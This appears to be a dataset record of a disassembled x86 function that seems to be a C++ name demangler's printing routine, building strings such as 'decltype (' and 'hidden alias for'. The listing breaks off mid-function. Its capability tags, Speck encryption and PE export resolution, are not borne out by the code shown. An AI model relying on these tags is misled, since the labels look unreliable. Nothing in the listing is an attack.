Function at 0x6737594c
Capabilities:
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x9c
mov ebx, eax
mov dword [ebp - 0x6c], edx
test edx, edx
je case.0x6737598c.49
mov ecx, dword [eax + 0x11c]
test ecx, ecx
jne case.default.0x6737b2da
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx]
cmp eax, 0x41
jbe switch.0x6737598c
mov dword [ebx + 0x11c], 1
nop
add esp, 0x9c
pop ebx
pop esi
pop edi
leave
ret
jmp dword [eax*4 + 0x673a0988]
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 4]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 4]
mov eax, ebx
call fcn.6737594c
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 8]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737ac8b
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6f
cmp edx, 0xff
je 0x6737ac52
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x70
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x70
cmp eax, 0xff
je 0x6737ac19
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x65
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x65
cmp edx, 0xff
je 0x6737abe0
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
cmp eax, 0xff
je 0x6737b054
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x61
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x61
cmp edx, 0xff
je 0x6737b01b
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x74
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x74
cmp eax, 0xff
je 0x6737afe2
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6f
cmp edx, 0xff
je 0x6737afa9
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
cmp eax, 0xff
je 0x6737aba9
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
mov edx, dword [ebp - 0x6c]
add edx, 4
mov eax, ebx
call fcn.6737e204
jmp case.default.0x6737b2da
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 4]
mov eax, dword [edx]
cmp eax, 0x2e
je 0x673787df
cmp eax, 0x2c
je 0x6737b169
mov eax, ebx
call fcn.6737594c
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 8]
mov eax, ebx
call fcn.6737e4b4
jmp case.default.0x6737b2da
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx + 8]
cmp dword [eax], 0x31
jne case.0x6737598c.49
mov edx, dword [edx + 4]
cmp dword [edx], 0x2c
je 0x6737b1f4
mov edx, dword [eax + 4]
mov eax, ebx
call fcn.6737e4b4
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 4]
mov eax, dword [edx + 4]
mov eax, dword [eax]
mov edi, 0x673a0923
mov ecx, 3
mov esi, eax
repe cmpsb byte [esi], byte es:[edi]
seta byte [ebp - 0x70]
setb cl
cmp byte [ebp - 0x70], cl
jne 0x67378e1d
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737bae2
mov byte [ebx + eax + 4], 0x5b
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x5b
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx + 8]
mov edx, dword [eax + 8]
mov eax, ebx
call fcn.6737594c
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737bab0
mov byte [ebx + eax + 4], 0x5d
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x5d
mov esi, dword [ebp - 0x6c]
mov eax, dword [esi + 4]
cmp dword [eax], 0x2c
jne case.default.0x6737b2da
mov eax, dword [eax + 4]
cmp dword [eax + 8], 1
jne case.default.0x6737b2da
mov eax, dword [eax + 4]
cmp byte [eax], 0x3e
jne case.default.0x6737b2da
cmp dword [ebx + 0x104], 0xff
je 0x6737bcc4
mov eax, dword [ebx + 0x104]
mov byte [ebx + eax + 4], 0x29
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x29
jmp case.default.0x6737b2da
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
mov eax, ebx
call fcn.67375424
test eax, eax
je 0x6737b7b5
cmp dword [eax], 0x2b
jne case.default.0x6737b2da
mov esi, dword [eax + 4]
test esi, esi
je case.default.0x6737b2da
xor edi, edi
jmp 0x67375c6a
cmp dword [eax], 0x2b
jne 0x67375c74
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x67375c74
mov edi, edx
lea edx, [edi + 1]
mov eax, dword [eax + 8]
test eax, eax
jne 0x67375c5c
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x6c], eax
xor esi, esi
lea edx, [ebx + 4]
mov dword [ebp - 0x74], edx
jmp 0x67375c96
inc esi
cmp esi, dword [ebp - 0x70]
jge case.default.0x6737b2da
mov dword [ebx + 0x120], esi
mov edx, dword [ebp - 0x6c]
mov eax, ebx
call fcn.6737594c
cmp esi, edi
jge 0x67375c8c
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x67378955
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x2c
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x2c
cmp eax, 0xff
je 0x6737891e
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
jmp 0x67375c8c
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
cmp dword [edx], 0x23
je 0x67378b9f
xor esi, esi
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b0c4
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x28
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x28
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 4]
mov eax, ebx
call fcn.6737594c
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737b08d
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x29
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x29
mov ecx, dword [ebp - 0x6c]
cmp dword [ecx], 0x36
je 0x67378cb3
cmp esi, 8
je 0x67378c5e
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 8]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x6737a4c2
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6a
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6a
cmp eax, 0xff
je 0x6737a489
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x61
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x61
cmp edx, 0xff
je 0x6737a450
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x76
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x76
cmp eax, 0xff
je 0x6737a417
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x61
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x61
cmp edx, 0xff
je 0x6737a3de
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x20
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
cmp eax, 0xff
je 0x6737a3a5
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x72
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x72
cmp edx, 0xff
je 0x6737a36c
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x65
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x65
cmp eax, 0xff
je 0x6737a333
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x73
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x73
cmp edx, 0xff
je 0x6737a5a6
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6f
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6f
cmp eax, 0xff
je 0x6737a56d
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x75
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x75
cmp edx, 0xff
je 0x6737a534
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
cmp eax, 0xff
je 0x6737a4fb
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x63
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x63
cmp edx, 0xff
je 0x67379de1
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x65
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x65
cmp eax, 0xff
je 0x67377760
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 4]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx + 8]
cmp dword [eax], 0x33
jne case.0x6737598c.49
mov edx, dword [eax + 8]
cmp dword [edx], 0x34
jne case.0x6737598c.49
mov edx, dword [eax + 4]
mov eax, ebx
call fcn.6737e4b4
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
mov eax, ebx
call fcn.6737e40c
mov esi, dword [ebp - 0x6c]
mov eax, dword [esi + 8]
mov eax, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, ebx
call fcn.6737e4b4
mov edx, 0x673a0929
mov eax, ebx
call fcn.673755c8
mov eax, dword [esi + 8]
mov eax, dword [eax + 8]
mov edx, dword [eax + 8]
mov eax, ebx
call fcn.6737e4b4
jmp case.default.0x6737b2da
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x6737af70
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x7b
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x7b
cmp eax, 0xff
je 0x6737af37
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x75
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x75
cmp edx, 0xff
je 0x6737aefe
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6e
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6e
cmp eax, 0xff
je 0x6737aec5
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6e
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6e
cmp edx, 0xff
je 0x6737ae53
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x61
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x61
cmp eax, 0xff
je 0x6737ae1a
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6d
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6d
cmp edx, 0xff
je 0x6737ade1
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x65
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x65
cmp eax, 0xff
je 0x6737ada8
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x64
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x64
cmp edx, 0xff
je 0x6737ad6f
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x20
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
cmp eax, 0xff
je 0x6737ad36
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x74
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x74
cmp edx, 0xff
je 0x6737acfd
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x79
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x79
cmp eax, 0xff
je 0x6737acc4
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x70
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x70
cmp edx, 0xff
je 0x67379ba7
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x65
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x65
cmp eax, 0xff
je 0x67379b70
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x23
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x23
mov esi, dword [ebp - 0x6c]
mov eax, dword [esi + 4]
inc eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0x673a0942
lea eax, [ebp - 0x60]
mov dword [ebp - 0x70], eax
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
xor eax, eax
mov ecx, 0xffffffff
mov edi, dword [ebp - 0x70]
repne scasb al, byte es:[edi]
not ecx
mov edi, ecx
dec edi
je 0x6737848e
mov eax, dword [ebx + 0x104]
xor esi, esi
lea edx, [ebx + 4]
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x6c], edi
mov edi, dword [ebp - 0x70]
jmp 0x67376205
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp dword [ebp - 0x6c], esi
jbe 0x67378494
mov dl, byte [edi + esi]
cmp eax, 0xff
jne 0x673761e8
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov ecx, dword [ebp - 0x74]
mov dword [esp], ecx
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x673761eb
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx + 4]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x673a0942
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x70], ecx
mov dword [esp], ecx
call sub.msvcrt.dll_sprintf
xor eax, eax
mov ecx, 0xffffffff
mov edi, dword [ebp - 0x70]
repne scasb al, byte es:[edi]
not ecx
mov edi, ecx
dec edi
je case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
xor esi, esi
lea edx, [ebx + 4]
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x6c], edi
mov edi, dword [ebp - 0x70]
jmp 0x673762b9
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp dword [ebp - 0x6c], esi
jbe case.default.0x6737b2da
mov dl, byte [edi + esi]
cmp eax, 0xff
jne 0x6737629c
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov ecx, dword [ebp - 0x74]
mov dword [esp], ecx
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x6737629f
mov edx, dword [ebx + 0x104]
cmp edx, 0xff
je 0x6737a2fa
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x64
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x64
cmp eax, 0xff
je 0x6737a2c1
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x65
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x65
cmp edx, 0xff
je 0x6737a288
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x63
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x63
cmp eax, 0xff
je 0x6737a24f
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6c
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6c
cmp edx, 0xff
je 0x6737a216
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x74
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x74
cmp eax, 0xff
je 0x6737a1dd
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x79
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x79
cmp edx, 0xff
je 0x6737a1a4
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x70
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x70
cmp eax, 0xff
je 0x6737a16b
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x65
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x65
cmp edx, 0xff
je 0x6737a132
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x20
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x20
cmp eax, 0xff
je 0x6737a0fb
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x28
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x28
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 4]
mov eax, ebx
call fcn.6737594c
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x67378d7f
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x29
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x29
jmp case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
mov esi, str.global_constructors_keyed_to
lea edi, [ebx + 4]
jmp 0x673764b8
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp esi, 0x673a0967
je case.0x6737598c.36
mov dl, byte [esi]
cmp eax, 0xff
jne 0x67376498
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov dword [esp], edi
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x6737649b
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x67379101
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6f
cmp edx, 0xff
je 0x673790c8
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x70
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x70
cmp eax, 0xff
je 0x6737908f
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x65
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x65
cmp edx, 0xff
je 0x67379056
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
cmp eax, 0xff
je 0x6737901d
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x61
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x61
cmp edx, 0xff
je 0x67378fe4
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x74
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x74
cmp eax, 0xff
je 0x67378fab
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6f
cmp edx, 0xff
je 0x67378f72
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
cmp eax, 0xff
je 0x67378e57
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 8]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov esi, dword [ebx + 0x118]
mov dword [ebp - 0x84], esi
mov dword [ebp - 0x60], esi
lea eax, [ebp - 0x60]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x78], eax
mov dword [ebx + 0x118], eax
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], 0
mov eax, dword [ebx + 0x114]
mov dword [ebp - 0x54], eax
test esi, esi
je 0x6737b79b
mov eax, dword [esi + 4]
mov eax, dword [eax]
sub eax, 0x17
cmp eax, 2
ja 0x6737b79b
mov edx, esi
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x80], ebx
jmp 0x673766a5
mov eax, dword [edx + 4]
mov eax, dword [eax]
sub eax, 0x17
cmp eax, 2
ja 0x673766fa
mov ecx, dword [edx + 8]
test ecx, ecx
jne 0x673766f4
cmp dword [ebp - 0x74], 3
ja 0x67378df9
mov ecx, dword [ebp - 0x74]
shl ecx, 4
mov dword [ebp - 0x7c], ecx
lea ebx, [ebp - 0x18]
add ebx, ecx
lea eax, [ebx - 0x48]
mov edi, eax
mov esi, edx
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x78]
mov dword [ebx - 0x48], esi
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x7c]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x80]
mov dword [ecx + 0x118], eax
mov dword [edx + 8], 1
inc dword [ebp - 0x74]
mov edx, dword [edx]
test edx, edx
jne 0x67376698
mov ebx, dword [ebp - 0x80]
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 8]
mov eax, ebx
call fcn.6737594c
mov eax, dword [ebp - 0x84]
mov dword [ebx + 0x118], eax
mov eax, dword [ebp - 0x58]
test eax, eax
jne case.default.0x6737b2da
cmp dword [ebp - 0x74], 1
je 0x6737675a
mov edi, dword [ebp - 0x74]
dec edi
mov eax, edi
shl eax, 4
mov edx, dword [ebp - 0x70]
lea esi, [edx + eax + 4]
jmp 0x6737673d
dec edi
mov edx, dword [esi]
mov eax, ebx
call fcn.6737bd38
sub esi, 0x10
cmp edi, 1
jne 0x6737673c
mov ecx, dword [ebx + 0x118]
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x6c]
add edx, 4
mov ecx, dword [ebp - 0x84]
mov eax, ebx
call fcn.6737dc2c
jmp case.default.0x6737b2da
test byte [ebx], 4
jne 0x67378688
mov esi, dword [ebp - 0x6c]
mov eax, dword [esi + 4]
mov edx, dword [eax + 4]
mov dword [ebp - 0x6c], edx
mov edi, dword [eax]
test edx, edx
je case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
xor esi, esi
lea ecx, [ebx + 4]
mov dword [ebp - 0x70], ecx
jmp 0x673767c1
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp dword [ebp - 0x6c], esi
jbe case.default.0x6737b2da
mov dl, byte [edi + esi]
cmp eax, 0xff
jne 0x673767a4
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x673767a7
mov eax, dword [ebx + 0x104]
mov esi, str.reference_temporary_for
lea edi, [ebx + 4]
jmp 0x6737683c
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp esi, 0x673a0922
je 0x6737847c
mov dl, byte [esi]
cmp eax, 0xff
jne 0x6737681c
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov dword [esp], edi
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x6737681f
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x6737a936
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x68
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x68
cmp edx, 0xff
je 0x6737a8fd
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x69
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x69
cmp eax, 0xff
je 0x6737a8c4
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x64
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x64
cmp edx, 0xff
je 0x6737a88b
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x64
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x64
cmp eax, 0xff
je 0x6737a852
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x65
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x65
cmp edx, 0xff
je 0x6737a819
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x6e
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6e
cmp eax, 0xff
je 0x6737a7e0
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
cmp edx, 0xff
je 0x6737a7a7
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x61
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x61
cmp eax, 0xff
je 0x6737a76e
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6c
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6c
cmp edx, 0xff
je 0x6737a735
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x69
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x69
cmp eax, 0xff
je 0x6737a6fc
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x61
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x61
cmp edx, 0xff
je 0x6737a6c3
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x73
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x73
cmp eax, 0xff
je 0x6737a68a
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
cmp edx, 0xff
je 0x6737a651
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x66
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x66
cmp eax, 0xff
je 0x6737a618
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6f
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6f
cmp edx, 0xff
je 0x6737a5df
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x72
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x72
cmp eax, 0xff
je 0x67379b39
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 4]
mov eax, ebx
call fcn.6737594c
jmp case.default.0x6737b2da
mov esi, dword [ebp - 0x6c]
mov esi, dword [esi + 8]
mov dword [ebp - 0x70], esi
mov eax, dword [ebp - 0x6c]
mov edi, dword [eax + 4]
test esi, esi
je case.default.0x6737b2da
mov eax, dword [ebx + 0x104]
xor esi, esi
lea edx, [ebx + 4]
mov dword [ebp - 0x6c], edx
jmp 0x67376b09
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp dword [ebp - 0x70], esi
jbe case.default.0x6737b2da
mov dl, byte [edi + esi]
cmp eax, 0xff
jne 0x67376aec
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov ecx, dword [ebp - 0x6c]
mov dword [esp], ecx
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x67376aef
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
je 0x67378f39
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x6a
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x6a
cmp edx, 0xff
je 0x67378f00
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x61
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x61
cmp eax, 0xff
je 0x6737aa1a
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x76
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x76
cmp edx, 0xff
je 0x6737a9e1
lea eax, [edx + 1]
mov byte [ebx + edx + 4], 0x61
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x61
cmp eax, 0xff
je 0x6737a9a8
lea edx, [eax + 1]
mov byte [ebx + eax + 4], 0x20
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x20
cmp edx, 0xff
je 0x6737a96f
